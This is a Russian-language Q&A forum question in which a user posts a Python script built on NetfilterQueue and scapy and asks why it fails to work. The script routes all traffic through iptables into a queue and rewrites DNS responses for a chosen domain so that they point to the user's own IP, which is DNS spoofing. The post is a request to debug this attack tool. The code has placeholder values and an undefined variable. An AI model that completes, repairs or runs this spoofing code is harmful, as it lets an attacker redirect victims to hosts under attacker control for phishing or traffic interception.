@link_vrb

Как реализовать перехват пакетов в python3?

Как реализовать перехват пакетов питон?
У меня есть код:
from netfilterqueue import NetfilterQueue
from scapy.all import *
from subprocess import call
call('sudo iptables -I OUTPUT -j NFQUEUE --queue-num 1', shell=True)
call('sudo iptables -I INPUT -j NFQUEUE --queue-num 1', shell=True)
def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        qname = scapy_packet[DNSQR].qname
        stq=str(qname)
        if "домен" in stq:
            print("[+] Spoofing target...")
            answer = DNSRR(rrname = qname, rdata = "myip")
            scapy_packet[DNS].an = answer
            scapy_packet[DNS].ancount = 1
            scapy_packet.dport=port
            try:
                del scapy_packet[IP].len
                del scapy_packet[IP].chksum
            except:
                pass
            try:
                del scapy_packet[UDP].chksum
                del scapy_packet[UDP].len
            except:
                pass
            packet.set_payload(bytes(scapy_packet))
    packet.accept()


qu = NetfilterQueue()
qu.bind(1, process_packet)
try:
    qu.run()
except KeyboardInterrupt:
    call('iptables --flush', shell=True)


При его запуске и переходе на сайт 'домен' программа не изменяет айпи 'домен' на айпи 'myip' , хотя должна и выводит страницу 'домен'.
  • Вопрос задан
  • 1475 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы